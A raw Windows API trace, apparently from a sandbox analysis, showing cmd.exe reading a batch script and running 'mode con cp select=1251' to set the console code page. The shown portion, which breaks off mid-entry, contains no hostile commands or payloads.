[0043.727] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.727] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.727] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0043.727] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.727] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.728] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0043.728] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.728] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.728] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0043.728] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.728] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.728] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0043.728] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.728] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.728] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0043.729] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.729] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.729] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0043.729] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.729] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.729] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0043.729] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.729] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.729] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0043.729] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.730] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.730] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0043.730] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.730] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.730] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0043.730] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.730] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.730] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0043.730] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.730] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.731] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0043.731] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.731] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.731] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0043.732] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.732] GetFileType (hFile=0xe8) returned 0x3 [0043.732] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.732] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.732] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.732] GetFileType (hFile=0xf4) returned 0x3 [0043.732] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0043.733] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x24f818, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f818*=0x18, lpOverlapped=0x0) returned 1 [0043.733] GetProcessHeap () returned 0x2c0000 [0043.733] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4012) returned 0x2dcd20 [0043.733] GetProcessHeap () returned 0x2c0000 [0043.733] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dcd20 | out: hHeap=0x2c0000) returned 1 [0043.733] _wcsicmp (_String1="mode", _String2=")") returned 68 [0043.733] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0043.733] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0043.734] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0043.734] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0043.734] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0043.734] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0043.734] GetProcessHeap () returned 0x2c0000 [0043.734] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0) returned 0x2d97e0 [0043.734] GetProcessHeap () returned 0x2c0000 [0043.734] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1a) returned 0x2d4610 [0043.735] GetProcessHeap () returned 0x2c0000 [0043.735] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x38) returned 0x2d6510 [0043.736] GetConsoleOutputCP () returned 0x1b5 [0043.737] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a89bfe0 | out: lpCPInfo=0x4a89bfe0) returned 1 [0043.737] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0043.737] GetConsoleTitleW (in: lpConsoleTitle=0x24f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.738] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0043.738] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0043.738] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0043.738] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0043.738] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0043.738] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0043.738] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0043.738] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0043.738] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0043.738] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0043.738] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0043.738] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0043.738] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0043.738] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0043.738] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0043.738] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0043.738] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0043.738] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0043.738] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0043.738] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0043.738] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0043.738] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0043.738] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0043.738] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0043.739] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0043.739] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0043.739] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0043.739] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0043.739] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0043.739] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0043.739] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0043.739] _wcsicmp (_String1="mode", _String2="START") returned -6 [0043.739] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0043.739] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0043.739] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0043.739] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0043.739] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0043.739] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0043.739] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0043.739] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0043.739] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0043.739] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0043.739] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0043.739] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0043.739] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0043.739] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0043.739] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0043.740] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0043.740] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0043.740] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0043.740] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0043.740] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0043.740] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0043.740] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0043.740] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0043.740] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0043.740] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0043.740] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0043.740] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0043.740] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0043.740] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0043.740] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0043.740] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0043.740] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0043.740] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0043.740] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0043.740] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0043.741] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0043.741] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0043.741] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0043.741] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0043.741] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0043.741] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0043.741] _wcsicmp (_String1="mode", _String2="START") returned -6 [0043.741] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0043.741] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0043.741] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0043.741] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0043.741] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0043.741] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0043.741] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0043.741] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0043.741] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0043.741] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0043.741] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0043.741] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0043.742] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0043.742] GetProcessHeap () returned 0x2c0000 [0043.742] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2c1ab0 [0043.742] GetProcessHeap () returned 0x2c0000 [0043.742] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x42) returned 0x2d98a0 [0043.742] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0043.743] GetProcessHeap () returned 0x2c0000 [0043.743] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x420) returned 0x2d9a80 [0043.743] SetErrorMode (uMode=0x0) returned 0x0 [0043.743] SetErrorMode (uMode=0x1) returned 0x0 [0043.743] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2d9a90, lpFilePart=0x24f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f060*="Desktop") returned 0x25 [0043.743] SetErrorMode (uMode=0x0) returned 0x1 [0043.743] GetProcessHeap () returned 0x2c0000 [0043.743] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9a80, Size=0x66) returned 0x2d9a80 [0043.743] GetProcessHeap () returned 0x2c0000 [0043.743] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9a80) returned 0x66 [0043.743] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0043.743] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0043.744] GetProcessHeap () returned 0x2c0000 [0043.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x128) returned 0x2c1cd0 [0043.744] GetProcessHeap () returned 0x2c0000 [0043.744] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x240) returned 0x2d9b00 [0043.755] GetProcessHeap () returned 0x2c0000 [0043.755] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9b00, Size=0x12a) returned 0x2d9b00 [0043.755] GetProcessHeap () returned 0x2c0000 [0043.755] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9b00) returned 0x12a [0043.755] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0043.755] GetProcessHeap () returned 0x2c0000 [0043.755] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xe8) returned 0x2d5b70 [0043.755] GetProcessHeap () returned 0x2c0000 [0043.755] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d5b70, Size=0x7e) returned 0x2d5b70 [0043.755] GetProcessHeap () returned 0x2c0000 [0043.755] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d5b70) returned 0x7e [0043.871] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0xffffffffffffffff [0043.871] GetLastError () returned 0x2 [0043.871] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0xffffffffffffffff [0043.871] GetLastError () returned 0x2 [0043.871] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.872] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0x2d5c00 [0043.872] GetProcessHeap () returned 0x2c0000 [0043.872] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x28) returned 0x2d4640 [0043.872] FindClose (in: hFindFile=0x2d5c00 | out: hFindFile=0x2d5c00) returned 1 [0043.872] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0x2d5c00 [0043.872] GetProcessHeap () returned 0x2c0000 [0043.872] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d4640, Size=0x8) returned 0x2d98f0 [0043.872] FindClose (in: hFindFile=0x2d5c00 | out: hFindFile=0x2d5c00) returned 1 [0043.872] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0043.873] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0043.873] GetConsoleTitleW (in: lpConsoleTitle=0x24f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.873] GetProcessHeap () returned 0x2c0000 [0043.873] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x21c) returned 0x2d9c40 [0043.873] GetConsoleTitleW (in: lpConsoleTitle=0x2d9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.873] GetProcessHeap () returned 0x2c0000 [0043.873] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9c40, Size=0xa8) returned 0x2d9c40 [0043.873] GetProcessHeap () returned 0x2c0000 [0043.873] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9c40) returned 0xa8 [0043.873] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0043.874] GetProcessHeap () returned 0x2c0000 [0043.874] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d9c40 | out: hHeap=0x2c0000) returned 1 [0043.874] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f098 | out: lpAttributeList=0x24f0d8, lpSize=0x24f098) returned 1 [0043.875] UpdateProcThreadAttribute (in: lpAttributeList=0x24f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f0d8, lpPreviousValue=0x0) returned 1 [0043.875] GetStartupInfoW (in: lpStartupInfo=0x24f1f0 | out: lpStartupInfo=0x24f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0043.875] GetProcessHeap () returned 0x2c0000 [0043.875] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x20) returned 0x2d4640 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0043.875] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0043.876] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", 